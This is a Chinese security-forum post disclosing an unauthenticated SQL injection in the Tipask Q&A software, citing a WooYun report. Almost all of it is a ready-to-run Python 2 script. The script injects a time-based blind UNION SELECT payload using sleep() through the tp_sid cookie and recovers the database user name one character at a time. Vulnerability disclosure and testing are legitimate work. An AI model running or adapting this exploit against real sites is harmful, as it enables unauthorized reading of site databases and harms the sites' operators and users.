请选择 进入手机版 | 继续访问电脑版
查看: 649|回复: 0

[漏洞] tipask前台无条件sql注入(验证脚本)

[复制链接]
  • TA的每日心情
    郁闷
    2017-4-13 15:44
  • 签到天数: 156 天

    [LV.7]常住居民III

    发表于 2016-6-1 22:12:46 | 显示全部楼层 |阅读模式
    漏洞来源:http://www.wooyun.org/bugs/wooyun-2010-0136776
    QQ图片123.png
    [Python] 纯文本查看 复制代码
    import urllib2
    
    
    
    import time
    
    
    
    
    
    payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
    
    
    
    name = ""
    
    
    
    
    for i in range(1,21):
    
    
    
        for p in payloads:
    
    
    
            s1 = "%s" %(i)
    
    
    
            s2 = "%s" %(ord(p))
    
    
    
            s = "http://192.168.1.100/tipask/"
    
            start_time = time.time()
    
    
    
            try:
                opener = urllib2.build_opener()
    
    
    
                opener.addheaders.append(('Cookie', "tp_lastrefresh=0; tp_sid=40c3e295006a9634' UNION SELECT null,null,null,null,null,if(ORD(mid((select user()),"+s1+",1))="+s2+",sleep(3),0)#; "))
    
    
                req = urllib2.Request(s)
                            
                req_data=opener.open(req,timeout=150)
    
                if time.time() - start_time > 3.0:
    
                    name = name+p
    
                    print name+'.....'
    
    
    
            except urllib2.URLError,e:
    
                 break
    
    print 'user is %s'  % name
    
    回复

    使用道具 举报

    高级模式
    B Color Image Link Quote Code Smilies |上传

    本版积分规则

    快速回复 返回顶部 返回列表